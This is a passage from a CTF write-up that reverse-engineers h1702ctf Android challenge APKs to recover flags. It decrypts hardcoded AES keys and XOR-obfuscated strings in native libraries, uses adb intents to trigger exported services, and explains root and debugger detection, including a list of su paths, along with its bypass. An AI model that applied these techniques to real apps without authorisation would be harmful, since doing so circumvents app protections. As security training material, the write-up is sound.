  static String encryptedHex = "ec49822b5417f4dad5d6048804c07f128bb0552673171d078cc2e6b191b4cbaa2d8c5c0bb95e29cee0cb0ea0db961a33ad074d17c3a227d487c85b88487435c97c3f9992b1a3d08f43fc92f416820f95ba463a67b09eb3433fb94ce2d2c5ac25ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f95ba463a67b09eb3433fb94ce2d2c5ac25069590e37f53bebf7c16b617482a4b8ae151286044c2a8237302612c7d88c8b2ce0eef96ce210effc6a2733a73b371b1d764b219e31def9c556a602e6b236b483469118ed906f6b3abeff55bcdc7e5a00d0d3f3cb085730e3335b7170a03ed91fca1309cccb8078e2a9100cbbeaff61e4be535b1314ecb6fb99b3985c06ae00616288270b1670f7bf609b8c9c3d62e29069590e37f53bebf7c16b617482a4b8ae151286044c2a8237302612c7d88c8b2ad074d17c3a227d487c85b88487435c9828b8963fd132831a1f74db480a35711e151286044c2a8237302612c7d88c8b2ad074d17c3a227d487c85b88487435c97c3f9992b1a3d08f43fc92f416820f950d0d3f3cb085730e3335b7170a03ed9186622d5215afd9192d1b553cba233ff2244ded87c4d06dd82895f2b20110bbadfca1309cccb8078e2a9100cbbeaff61e4be535b1314ecb6fb99b3985c06ae00616288270b1670f7bf609b8c9c3d62e29ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f953d255754f0e4004ac69e2e9b2e35ebc79ef39beaabf2ba23780e727eeb4e277a2757324dfeeb647dd2ab010b91af0bd3ad074d17c3a227d487c85b88487435c98bb0552673171d078cc2e6b191b4cbaa2d8c5c0bb95e29cee0cb0ea0db961a339ef39beaabf2ba23780e727eeb4e277a3cad3497d53b3c22fdd26fbb83f5cae8fe5f529bf234dcef4e76913394ae8f85244ded87c4d06dd82895f2b20110bbade57dded1cc4a151b2da4b3fa1041bc7f569f11fcae23f0661a6722466e5697ce069590e37f53bebf7c16b617482a4b8ae151286044c2a8237302612c7d88c8b29a4ef6d9c9cf8127de64c59ecc865fd89a4ef6d9c9cf8127de64c59ecc865fd8d5a6b3cf8313ced4ca89414d00adb0c2a854ed5338d047e0b65b956bd2a19fcc0d0d3f3cb085730e3335b7170a03ed91e891d349f90afb2d3f9608a7cdba0714e891d349f90afb2d3f9608a7cdba071486622d5215afd9192d1b553cba233ff216288270b1670f7bf609b8c9c3d62e299ef39beaabf2ba23780e727eeb4e277a4be535b1314ecb6fb99b3985c06ae00616288270b1670f7bf609b8c9c3d62e299a4ef6d9c9cf8127de64c59ecc865fd8ce0eef96ce210effc6a2733a73b371b1d764b219e31def9c556a602e6b236b48ba463a67b09eb3433fb94ce2d2c5ac25069590e37f53bebf7c16b617482a4b8ac9dcd54eb33f50a80149e8457d843b84ba463a67b09eb3433fb94ce2d2c5ac25e6ff67049d59429fa81ea1d14e1a4abde5beb88aa4073a5c948816378f2cc96b87b18c9563646c0652a9efd72f29cdd33cad3497d53b3c22fdd26fbb83f5cae82d8c5c0bb95e29cee0cb0ea0db961a33ce0eef96ce210effc6a2733a73b371b10ea54646c339600f167b5dd2029ba72fe5beb88aa4073a5c948816378f2cc96b5762452778b31d42ead4f81062775b69e891d349f90afb2d3f9608a7cdba07147c3f9992b1a3d08f43fc92f416820f953d255754f0e4004ac69e2e9b2e35ebc7ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f95c8dab6841e142338fcc2d01ad0a3bce686622d5215afd9192d1b553cba233ff216288270b1670f7bf609b8c9c3d62e29ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f950d0d3f3cb085730e3335b7170a03ed91fca1309cccb8078e2a9100cbbeaff61e0f1f25bef4b7f6442b420b861ad834aac8dab6841e142338fcc2d01ad0a3bce67c3f9992b1a3d08f43fc92f416820f953469118ed906f6b3abeff55bcdc7e5a03469118ed906f6b3abeff55bcdc7e5a00d0d3f3cb085730e3335b7170a03ed91e891d349f90afb2d3f9608a7cdba071486622d5215afd9192d1b553cba233ff2244ded87c4d06dd82895f2b20110bbad828b8963fd132831a1f74db480a35711e151286044c2a8237302612c7d88c8b29a4ef6d9c9cf8127de64c59ecc865fd8d5a6b3cf8313ced4ca89414d00adb0c22d8c5c0bb95e29cee0cb0ea0db961a33ad074d17c3a227d487c85b88487435c9828b8963fd132831a1f74db480a35711c9dcd54eb33f50a80149e8457d843b845bd9ba2fb7cea981a019c784939dfd0587b18c9563646c0652a9efd72f29cdd328d63f46073aec9a139375fd6d2917d3e5beb88aa4073a5c948816378f2cc96b87b18c9563646c0652a9efd72f29cdd30f1f25bef4b7f6442b420b861ad834aa41c1b4f70e10af5fa9e82a2b773ea7070ea54646c339600f167b5dd2029ba72fe5beb88aa4073a5c948816378f2cc96b5762452778b31d42ead4f81062775b697c3f9992b1a3d08f43fc92f416820f953469118ed906f6b3abeff55bcdc7e5a05bd9ba2fb7cea981a019c784939dfd055762452778b31d42ead4f81062775b69e891d349f90afb2d3f9608a7cdba0714fca1309cccb8078e2a9100cbbeaff61e2757324dfeeb647dd2ab010b91af0bd3ad074d17c3a227d487c85b88487435c9828b8963fd132831a1f74db480a35711e151286044c2a8237302612c7d88c8b29a4ef6d9c9cf8127de64c59ecc865fd8d5a6b3cf8313ced4ca89414d00adb0c2fc59c44e8f481760ef82750176f42291fb7648043fce2338843c67eae566b35c8bb0552673171d078cc2e6b191b4cbaa2d8c5c0bb95e29cee0cb0ea0db961a33ec49822b5417f4dad5d6048804c07f12828b8963fd132831a1f74db480a3571116d696017b13e85d5aaf28d6ac7c3d315762452778b31d42ead4f81062775b698bb0552673171d078cc2e6b191b4cbaa2d8c5c0bb95e29cee0cb0ea0db961a339a4ef6d9c9cf8127de64c59ecc865fd8ce0eef96ce210effc6a2733a73b371b1d764b219e31def9c556a602e6b236b48ba463a67b09eb3433fb94ce2d2c5ac25ce0eef96ce210effc6a2733a73b371b1d764b219e31def9c556a602e6b236b48c8dab6841e142338fcc2d01ad0a3bce67c3f9992b1a3d08f43fc92f416820f95ba463a67b09eb3433fb94ce2d2c5ac25ce0eef96ce210effc6a2733a73b371b1a25c129f9071f52f674b28cff9f4ade7244ded87c4d06dd82895f2b20110bbade891d349f90afb2d3f9608a7cdba0714828b8963fd132831a1f74db480a35711c9dcd54eb33f50a80149e8457d843b843d255754f0e4004ac69e2e9b2e35ebc7e6ff67049d59429fa81ea1d14e1a4abd569f11fcae23f0661a6722466e5697ce9ef39beaabf2ba23780e727eeb4e277abea40e40b98659cafe52c74461e7015a87b18c9563646c0652a9efd72f29cdd33cad3497d53b3c22fdd26fbb83f5cae8fe5f529bf234dcef4e76913394ae8f8516288270b1670f7bf609b8c9c3d62e29ec49822b5417f4dad5d6048804c07f127c3f9992b1a3d08f43fc92f416820f95ba463a67b09eb3433fb94ce2d2c5ac25e6ff67049d59429fa81ea1d14e1a4abd31e2e92c15e8b3afb3b4a4344f6d37a33d255754f0e4004ac69e2e9b2e35ebc7e6ff67049d59429fa81ea1d14e1a4abd31e2e92c15e8b3afb3b4a4344f6d37a341c1b4f70e10af5fa9e82a2b773ea707a25c129f9071f52f674b28cff9f4ade7244ded87c4d06dd82895f2b20110bbad011d2d66c36261ef7fb7ca949a22ed84";
  
  static String bin2hex(byte[] paramArrayOfByte)
  {
    return String.format("%0" + paramArrayOfByte.length * 2 + "X", new Object[] { new BigInteger(1, paramArrayOfByte) });
  }
  
  private static byte[] decrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
    throws Exception
  {
    SecretKeySpec a = new SecretKeySpec(paramArrayOfByte1, "AES");
    Cipher localCipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    localCipher.init(2, a);
    return localCipher.doFinal(paramArrayOfByte2);
  }
  
  public static String getHash(String paramString)
  {
    try
    {
      MessageDigest localMessageDigest = MessageDigest.getInstance("SHA-256");
      localMessageDigest.reset();
      return bin2hex(localMessageDigest.digest(paramString.getBytes()));
    }
    catch (NoSuchAlgorithmException e)
    {
      e.printStackTrace();
    }
    return "";
  }
  
  public static String plainText()
    throws Exception
  {
    return new String(hex2bytes(new String(decrypt(hex2bytes("0123456789ABCDEF0123456789ABCDEF"), hex2bytes(encryptedHex))).trim()));
  }

  
  static byte[] hex2bytes(String paramString)
  {
    byte[] arrayOfByte = new byte[paramString.length() / 2];
    int i = 0;
    while (i < arrayOfByte.length)
    {
      int j = i * 2;
      arrayOfByte[i] = ((byte)Integer.parseInt(paramString.substring(j, j + 2), 16));
      i += 1;
    }
    return arrayOfByte;
  }
}

Running this, we obtain what appears to be morse code.

1
2
→ java Solve
DASH DOT DASH DOT SPACE DOT DASH SPACE DOT DASH DASH DOT SPACE DOT DASH DASH SPACE DASH DOT SPACE DASH DOT DOT DOT SPACE DOT DASH DOT SPACE DOT DASH SPACE DASH DOT DASH DOT SPACE DASH DOT DASH SPACE DOT SPACE DASH SPACE DASH DOT DASH DOT SPACE DOT DASH DOT SPACE DASH DOT DASH DASH SPACE DOT DASH DASH DOT SPACE DASH DASH DOT DOT DOT SPACE DASH DASH DASH DASH DASH SPACE DASH DOT DOT DOT DOT SPACE DOT DASH DOT SPACE DOT DOT DOT DOT DASH SPACE DOT DASH DASH DOT SPACE DOT DOT DOT DOT SPACE DASH DOT DASH DASH SPACE DOT DOT DASH SPACE DASH DOT SPACE DASH DOT DOT SPACE DOT SPACE DOT DASH DOT SPACE DOT DOT DOT SPACE DASH DOT DASH DOT SPACE DASH DASH DASH SPACE DOT DASH DOT SPACE DOT SPACE DOT DASH DASH DASH DASH SPACE DOT DOT DOT DOT DOT SPACE DOT DOT DASH SPACE DASH DOT SPACE DASH DOT DOT SPACE DOT SPACE DOT DASH DOT SPACE DOT DOT DOT SPACE DASH DOT DASH DOT SPACE DASH DASH DASH SPACE DOT DASH DOT SPACE DOT SPACE DOT DOT DOT DOT SPACE DOT DOT DOT DOT DASH SPACE DOT DASH DOT SPACE DASH DOT DOT SPACE DOT DOT DASH SPACE DASH DOT SPACE DASH DOT DOT SPACE DOT SPACE DOT DASH DOT SPACE DOT DOT DOT SPACE DASH DOT DASH DOT SPACE DASH DASH DASH SPACE DOT DASH DOT SPACE DOT SPACE DASH DOT DOT DOT SPACE DOT DASH DOT SPACE DASH DASH DASH DASH DASH SPACE DASH DOT DOT DOT SPACE DOT DASH DOT SPACE DOT DASH SPACE DASH DOT DASH DOT SPACE DASH DOT DASH SPACE DOT SPACE DASH

Converting this to real dots and dashes, we get the following morse code:

-.-. .- .--. .-- -. -... .-. .- -.-. -.- . - -.-. .-. -.-- .--. --... ----- -.... .-. ....- .--. .... -.-- ..- -. -.. . .-. ... -.-. --- .-. . .---- ..... ..- -. -.. . .-. ... -.-. --- .-. . .... ....- .-. -.. ..- -. -.. . .-. ... -.-. --- .-. . -... .-. ----- -... .-. .- -.-. -.- . -

The morse code is then translated to our second flag, cApwN{CRYP706R4PHY_15_H4RD_BR0}.

Level 3

Think you can solve level 3?

Looking back, we can immediately focus onto Level3Activity.class to begin our hunt for the third flag. Also a very simple class, we can trace the onClick method to MonteCarlo.start().

In MonteCarlo, the class seems to be trying to approximate the value of Pi, which is consistent with what the name suggests. Everything else in the class seems normal except for a call to another class ArraysArraysArrays.start() and a JNI method being declared and not called anywhere.

Starting with ArraysArraysArrays, this class seems to be sorting arrays of integers and printing them after. However, again, a JNI method x() is declared, but is called in the start method this time.

To analyze the JNI method, we can view the libnative-lib.so file in IDA and focus on the method directly. The decompilation of the method is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __fastcall Java_com_h1702ctf_ctfone_ArraysArraysArrays_x(int a1)
{
  int v1; // r4@1
  int v2; // r0@2
  int v3; // r6@4
  int v4; // r0@5
  int v5; // r0@8
  int result; // r0@10

  v1 = a1;
  if ( !byte_C113[0] )
  {
    v2 = 0;
    do
    {
      byte_C113[v2] = byte_C05B[v2] ^ 0x3D;
      ++v2;
    }
    while ( v2 != 29 );
  }
  v3 = (*(int (__fastcall **)(int, char *))(*(_DWORD *)v1 + 24))(v1, byte_C113);
  if ( !byte_C131[0] )
  {
    v4 = 0;
    do
    {
      byte_C131[v4] = aIYi_x[v4] ^ 0x2C;
      ++v4;
    }
    while ( v4 != 7 );
  }
  if ( !byte_C139[0] )
  {
    v5 = 0;
    do
    {
      byte_C139[v5] = byte_C081[v5] ^ 0x58;
      ++v5;
    }
    while ( v5 != 3 );
  }
  result = (*(int (__fastcall **)(int, int, char *, char *))(*(_DWORD *)v1 + 452))(v1, v3, byte_C131, byte_C139);
  if ( result )
    result = _JNIEnv::CallStaticVoidMethod(v1, v3);
  return result;
}

Here it is obvious that some constant in the library is being decrypted with a fixed key. Using a quick Python script, we can quickly decrypt the constants.

1
2
3
4
5
6
7
from pwn import *
first = [0x5E,0x52,0x50,0x12,0x55, 0xC, 0xA, 0xD, 0xF,0x5E,0x49,0x5B,0x12,0x5E,0x49,0x5B,0x52,0x53,0x58,0x12,0x6F,0x58,0x4C,0x48,0x58,0x4E,0x49,0x52,0x4F]
print xor(first,0x3d)
second = [0x5E, 0x49, 0x5D, 0x59, 0x49, 0x5F, 0x58]
print xor(second,0x2c)
third = [0x70,0x71,0xE]
print xor(third,0x58)

Running the script gives us the following:

com/h1702ctf/ctfone/Requestor
request
()V

Together with the decompilation of the class, we can quickly infer that the JNI method x() is calling the request method located in com/h1702ctf/ctfone/Requestor. With that, we can quickly return to JD-GUI to look at the Requestor class.

In the Requestor class, we see that the method is used to make a request to https://h1702ctf.com/About and a custom header key/value is added with the values obtained through two other JNI methods hName and hVal.

Returning to IDA, we see that in the two JNI methods, constants are being decrypted with a fixed xor key again. Again, with a Python script, we easily decrypt the two constants to get the following:

1
2
3
4
5
6
7
8
9
10
11
headerKey =[0x6F,0x1A,0x7B ,0x52,0x41,0x52,0x5B,   4,0x1A,0x71,0x5B,0x56,0x50]
print xor(headerKey, 0x37)
headerValue =[  0x68, 0x0F, 0x6C, 0x7D, 0x6C, 0x0C, 0x6F, 0x47, 0x6B, 0x66, 
  0x5A, 0x71, 0x68, 0x79, 0x6C, 0x71, 0x68, 0x53, 0x4E, 0x50, 
  0x5A, 0x0F, 0x52, 0x4D, 0x69, 0x6A, 0x68, 0x55, 0x68, 0x0F, 
  0x74, 0x67, 0x6A, 0x68, 0x5A, 0x4D, 0x6A, 0x55, 0x0E, 0x49, 
  0x5D, 0x79, 0x0F, 0x6B, 0x5F, 0x55, 0x4E, 0x48, 0x64, 0x68, 
  0x6B, 0x46, 0x70, 0x52, 0x6C, 0x4F, 0x5C, 0x7B, 0x6C, 0x5F, 
  0x5B, 0x54, 0x7F, 0x0B, 0x6F, 0x0C, 0x5D, 0x07, 0x6E, 0x6F, 
  0x51, 0x03]
print xor(headerValue, 0x3e)

X-Level3-Flag
V1RCR2QyUXdOVGROVmpnd1lsWTVkV1JYTVdsTk0wcG1UakpvZVUxNlRqbERaejA5Q2c9PQo=

It is apparent that the header value is a base64 encoded value. We can easily decode it to obtain our third flag!

In [6]: "V1RCR2QyUXdOVGROVmpnd1lsWTVkV1JYTVdsTk0wcG1UakpvZVUxNlRqbERaejA5Q2c9PQo=".deco
   ...: de('base64').decode('base64').decode('base64')
Out[6]: 'cApwN{1_4m_numb3r_7hr33}\n'

Level 4

Hope you kept your notes.

Challenge 4 stumbled me for awhile, it wasn’t as obvious as to where to begin as compared to the previous 3 challenges. However, recalling the unused JNI method declared in the MonteCarlo class, it soon became apparent to me that the solution of Challenge 4 would be given by invoking the functionnameLeftbraceOneCommaTwoCommaThreeCommaRightbraceFour class with the flags of the first 3 challenge.

There is two way to approach this:

Create an APK to call the method in the native library directly.
Use frida to invoke the method with the correct parameters.

As I do not have frida readily available beside me, I chose to go with method #1. Using a simple template provided by Android Studio, I quickly write up a simple APK that loads the same library and calls the method with the flags as parameter.

Note that we’d have to replicate an APK with the same package name and class in order for this method to work smoothly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.h1702ctf.ctfone;

/**
 * Created by quanyang on 11/7/17.
 */

public class MonteCarlo {
    public native String functionnameLeftbraceOneCommaTwoCommaThreeCommaRightbraceFour(String paramString1, String paramString2, String paramString3);
    public String test() {
        String a="cApwN{WELL_THAT_WAS_SUPER_EASY}";
        String b="CAPWN{CRYP706R4PHY_15_H4RD_BR0}";
        String c="cApwN{1_4m_numb3r_7hr33}";
        return functionnameLeftbraceOneCommaTwoCommaThreeCommaRightbraceFour(a,b,c);
    }
}

With that, we obtain our 4th flag!

4th Flag: cApwN{w1nn3r_w1nn3r_ch1ck3n_d1nn3r!}

Level 5

Hmmm… looks like you need to get past something…
ctfone5-8d51e73cf81c0391575de7b40226f19645777322.apk

Similarly, I start with decoding/decompilation of the APK with apktool and dex2jar.

Looking at the AndroidManifest.xml,

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.h1702ctf.ctfone5" platformBuildVersionCode="25" platformBuildVersionName="7.1.1">
    <meta-data android:name="android.support.VERSION" android:value="25.3.1"/>
    <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:supportsRtl="true" android:theme="@style/AppTheme">
        <activity android:background="@drawable/stars" android:label="@string/app_name" android:name="com.h1702ctf.ctfone5.MainActivity" android:theme="@style/AppTheme.NoActionBar">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <service android:exported="true" android:name="com.h1702ctf.ctfone5.CruelIntentions"/>
    </application>
</manifest>

We see that there is an additional service linked to the class com.h1702ctf.ctfone5.CruelIntentions. From the unpacked APK, we can also find a native library libnative-lib.so.

With that, we first jump to the MainActivity class. From the dex2jar decompiled code of the class, we can immediately notice a few things. First, there is a hint that says State the secret phrase (omit the oh ex), where oh ex seems to refer to 0x, something you usually find before a hexadecimal representation of a value. Second, there is a JNI method defined flag, which seems to be taking in three String values and returning the flag is the values are correct, this seems to remind me of Challenge 4 previously.

The next step would be to look at the JNI method flag in IDA Pro. The decompilation of the method in IDA Pro appears to be very similar to challenge 4 previously as well. It seems to be using the blake2b hash values of the three strings and xor’ed together using the stream_xsalsa_xor with an unknown value (which is probably the encrypted value of the flag). Therefore, if the three strings provided were accurate, the result from this function would likely give us the flag for this challenge.

With that, we would need to figure out the three Strings required.

We now move on to look at com.h1702ctf.ctfone5.CruelIntentions. The decompiled class is pretty simple, the class is a subclass of IntentService and is used to set up an intent service which reacts to the com.h1702ctf.ctfone5.action.HINT action and calls a JNI method one() if the com.h1702ctf.ctfone5.extra.PARAM1 param is equal to orange.

Knowing this, we can call the intent using the following ADB command:
adb shell am startservice -n "com.h1702ctf.ctfone5/com.h1702ctf.ctfone5.CruelIntentions" -a com.h1702ctf.ctfone5.action.HINT -e com.h1702ctf.ctfone5.extra.PARAM1 orange

I tried running the intent service, but nothing appears to be happening. We did notice this in the logcat output.

I/BOOYA   ( 5120): got intent
I/BOOYA   ( 5120): got hint
I/BOOYA   ( 5120): param: orange

This indicates that the intent service was successfully invoked.

With the jar side of things covered (i.e. we have looked at all custom Java classes), we can now move to the JNI method one().

The IDA Pro decompilation of the method is long and complex therefore I will talk about snippets that appears interesting to me.

The first interesting snippet is:

1
2
3
4
5
6
7
8
9
  if ( prctl(3) )
  {
    if ( byte_D064 & 1 )
      v57 = raise(11);
    v56 = 0;
    v2 = prctl(4);
    byte_D064 = 1;
    v55 = v2;
  }

This code snippet seems to check if the process is dumpable, and if so, sets it to be not dumpable.

The second interesting snippet is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
v3 = getpid();
v60[6] = v3;
v54 = v3;
v53 = &v78;
v52 = sprintf((char *)&v78, "/proc/%d/status", v3);
v4 = fopen((const char *)&v78, "r");
v60[5] = (int)v4;
if ( v4 ) {
    while ( fgets((char *)&v76, 1024, (FILE *)v60[5]) ) {
        v51 = "TracerPid";
        if ( !strncmp((const char *)&v76, "TracerPid", 9u) ) {
            v5 = atoi((const char *)&v77);
            v60[4] = v5;
            if ( v5 ) {
                v6 = fclose((FILE *)v60[5]);
                v65 = 1;
                v50 = v6;
                goto LABEL_14;
            }
            break;
        }
    }
    v7 = fclose((FILE *)v60[5]);
    v65 = 0;
    v49 = v7;
}

This portion seems to be checking if the TracePid of the process is non-zero, which hints whether the process is being traced/debugged.

The third interesting snippet is:

1
2
3
4
5
6
7
8
9
10
while ( (unsigned int)v60[9] <= 0xA ) {
    v9 = g_su_paths[v60[9]];
    v60[11] = (int)v9;
    if ( access(v9, 0) == -1 ) {
        v66 = 1;
        goto LABEL_22;
    }
    ++v60[9];
}
v66 = 0;

This portion seems to be checking if filepaths specified in g_su_paths is accessible.

And the filepaths are:

/su/bin/su      
/system/bin/daemonsu 
/system/xbin/daemonsu 
/sbin/su        
/system/bin/su  
/system/xbin/su 
/data/local/xbin/su 
/data/local/bin/su 
/system/sd/xbin/su 
/system/bin/failsafe/su
/data/local/su  

The fourth snippet is:

1
2
3
4
5
v33 = _system_property_get("mobsec.setme");
v30 = atoi((const char *)&v69);
*v60 = v30;
if ( v30 == 1 )
    return -1096307938;

This portion seems to check that a certain system property mobsec.setme is equal to 1 and to return a certain value.

Putting the four parts together, it seems that the function is checking if the device is rooted or being traced/debugged and the fourth part appears to be a bypass for the check.

However, looking carefully, we can see that the return value of this native function is always a constant when the constraints are met.

.text:00002920                 LDR             R0, =0x5F53D58F
.text:00002922                 LDR             R3, =0x5F53D58F
.text:00002924                 ADD             R0, R3
.text:00002926                 LDR             R1, =0x7D670F2A
.text:00002928                 LDR             R3, =0x7D670F2B
.text:0000292A                 ADD             R1, R3
.text:0000292C                 LDR             R2, =0x6D3D5D2F
.text:0000292E                 LDR             R3, =0x6D3D5D2F
.text:00002930                 ADD             R2, R3
.text:00002932                 LDR             R3, =0x6F56DD5F
.text:00002934                 LDR.W           LR, =0x6F56DD5F
.text:00002938                 ADD             LR, R3
.text:0000293A                 BX              LR

If we were to evaluate the ADD instructions, this is what we will obtain:

1
2
3
4
5
6
7
8
In [1]: hex(0x5F53D58F+0x5F53D58F)
Out[1]: '0xbea7ab1e'

In [2]: hex(0x7D670F2A+0x7D670F2B)
Out[2]: '0xface1e55'

In [3]: hex(0x6D3D5D2F+0x6D3D5D2F)
Out[3]: '0xda7aba5e'

Therefore, it becomes apparent that this three values are the String values that is to be submitted to the flag() function. Attempting to submit this, we get our fifth flag! Remember that we are suppose to omit the 0x.

Our 5th Flag: cApwN{sPEak_FrieNd_aNd_enteR!}

Level 6

I can’t think of anything creative… just try to solve this one :)
ctfone6-6118c10be480b994654a1f01cd322af2df2ceab6.apk

The AndroidManifest.xml doesn’t show any additional service or activity this time round other than the MainActivity. There is however a native library called libidk-really.so.

Also, within /res/raw there is two files called something.jar and secretasset.

The name itself seems to hint that they have something to do with the flag. Though its called something.jar, the file command doesn’t seem to recognize it as a legitimate file.

1
2
3
→ file secretasset something.jar
secretasset:   data
something.jar: data

Looking at MainActivity.class, we see that the onClick event attempts to open the something.jar file and to execute it after it has been handled by the prepareDex method.

From the smali code, we can see that in the prepareDex method, something.jar is being decrypted using the following decryption method.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  public static byte[] decrypt(String paramString1, String paramString2, byte[] paramArrayOfByte)
  {
    try
    {
      paramString2 = new IvParameterSpec(paramString2.getBytes("UTF-8"));
      paramString1 = new SecretKeySpec(paramString1.getBytes("UTF-8"), "AES");
      Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
      localCipher.init(2, paramString1, paramString2);
      paramString1 = localCipher.doFinal(paramArrayOfByte);
      return paramString1;
    }
    catch (Exception paramString1)
    {
      paramString1.printStackTrace();
    }
    return null;
  }

However, the key and IV is not clearly identified in the decryption method.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    move-result-object v11

    const v12, 0x7f050001

    invoke-virtual {v11, v12}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;

    move-result-object v11

    invoke-virtual/range {p0 .. p0}, Lcom/example/asdf/MainActivity;->getResources()Landroid/content/res/Resources;

    move-result-object v12

    const v13, 0x7f050004

    invoke-virtual {v12, v13}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;

    move-result-object v12

    invoke-static {v11, v12, v5}, Lcom/example/asdf/MainActivity;->decrypt(Ljava/lang/String;Ljava/lang/String;[B)[B

By looking again at the smali code, we see that the String resource with id 0x7f050001 and 0x7f050004 is used as parameter to the decrypt method, which means that the key and IV is hard coded.

With that, we can cross reference from /res/values/ids.xml to figure out that 0x7f050001 is referring to booper and 0x7f050004 is referring to dooper.

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?>
<resources>
    <string name="app_name">Level 6</string>
    <string name="booper">UCFh%divfMtY3pPD</string>
    <string name="diag_message">Processing dex file...</string>
    <string name="diag_title">Wait</string>
    <string name="dooper">nY6FtpPFXnh,yjvc</string>
    <string name="message">Come at me bro</string>
    <string name="toast">Toast!</string>
</resources>

The contents of /res/values/strings.xml then tells us the String values. Using the decompiled code for the decrypt method, I quickly wrote a Java console application to decrypt something.jar.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import java.io.File;
import java.security.MessageDigest;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;

public class Solution {
  public static void main(String args[]) {
    String key = "nY6FtpPFXnh,yjvc";
    String iv = "UCFh%divfMtY3pPD";
    BufferedInputStream br = null;
    FileInputStream fr = null;
    try {
      fr = new FileInputStream(new File("something.jar"));
      br = new BufferedInputStream(fr);
      byte[] ab = new byte[br.available()];
      br.read(ab);
      FileOutputStream fos = new FileOutputStream("something-decrypted.jar");
      fos.write(decrypt(iv,key,ab));
      fos.close();
    } catch (IOException e) {
      e.printStackTrace();
    } finally {
      try {
        if (br != null)
          br.close();
        if (fr != null)
          fr.close();
      } catch (IOException ex) {
        ex.printStackTrace();
      }
    }
  }

  public static byte[] decrypt(String paramString1, String paramString2, byte[] paramArrayOfByte)
  {
    try
    {
      IvParameterSpec a = new IvParameterSpec(paramString2.getBytes("UTF-8"));
      SecretKeySpec b = new SecretKeySpec(paramString1.getBytes("UTF-8"), "AES");
      Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
      localCipher.init(2, b, a);
      byte[] paramString12 = localCipher.doFinal(paramArrayOfByte);
      return paramString12;
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
    return null;
  }
}

Running the Java program gives us the decrypted something.jar file.

1
2
→ file something-decrypted.jar
something-decrypted.jar: Java archive data (JAR)

We then use dex2jar to decompile the decrypted jar, this gives us two classes, IReallyHaveNoIdea.class and Pooper.class.

IReallyHaveNoIdea.class seems to be registering a new intent receiver for the com.example.asdf.SEND intent. Pooper.class seems to be the receiver for the intent and appears to be decrypting something when it receives an intent call.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public void onReceive(Context paramContext, Intent paramIntent)
  {
    String str = paramIntent.getStringExtra("herpaderp");
    paramIntent = paramIntent.getStringExtra("lerpaherp");
    if ((!checkSomething1(str)) || (!checkSomething2(paramIntent))) {
      System.exit(0);
    }
    paramContext = new File(paramContext.getDir("dex", 0), "super-dooper");
    paramContext.delete();
    try
    {
      BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(new FileOutputStream(paramContext));
      byte[] arrayOfByte = new byte[this.bis.available()];
      this.bis.read(arrayOfByte);
      localBufferedOutputStream.write(decrypt(str, paramIntent, arrayOfByte));
      localBufferedOutputStream.close();
      this.bis.close();
      paramContext.setExecutable(true);
      try
      {
        Runtime.getRuntime().exec(paramContext.getAbsolutePath());
        return;
      }
      catch (Exception paramContext) {}
    }
    catch (IOException paramIntent)
    {
      for (;;) {}
    }
  }

The onCreate function looks for the super-dooper file and then tries to decrypt it based on the params herpaderp and lerpaherp. There is however, a check for the two values and this might be the constraint that we have to solve to get the decryption key.

Looking at checkSomething1 and checkSomething2, we can slowly reverse the smali code which is iterating each character in a switch case and checking if the index of the character matches the value expected. With some work, we obtained b1ahbl4hbl4hblop for checkSomething1 and mmhmthisdatgoods for checkSomething2.

Though we are stuck without the super-dooper file, a simple test with secretasset shows that this decryption is meant for it. Again, using the same decryption Java program above, but with the new key/IV, we obtained a ELF binary.

1
2
→ file secretasset-decrypted.jar
b.jar: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, BuildID[sha1]=12c1ab8273eb1b3b193b61aaa45a2a02a332f32f, stripped

Throwing the binary in IDA pro, we immediately see that a couple of interesting libc methods are imported like bind, accept and listen, this seems to hint that the program might be communicating through the network.

With that in mind, I ran the APK application, fed the text input with UCFh%divfMtY3pPD, which the process then proceeds to decrypt something.jar and sets up the intent receiver. Following that, I invoke the intent with the following command, adb shell am broadcast -a com.example.asdf.SEND -e herpaderp b1ahbl4hbl4hblop -e lerpaherp mmhmthisdatgoods to start the execution of the ELF binary.

Once that is in place, a simple netstat shows that a service is indeed listening on port 1337.

We can attempt to communicate with it using netcat:

1
2
3
4
5
6
7
8
9
10
→ nc 192.168.1.20 1337
<<JOIN, HELLO 13

\HELP
\QUIT     Quit chatroom
\PING     Server test
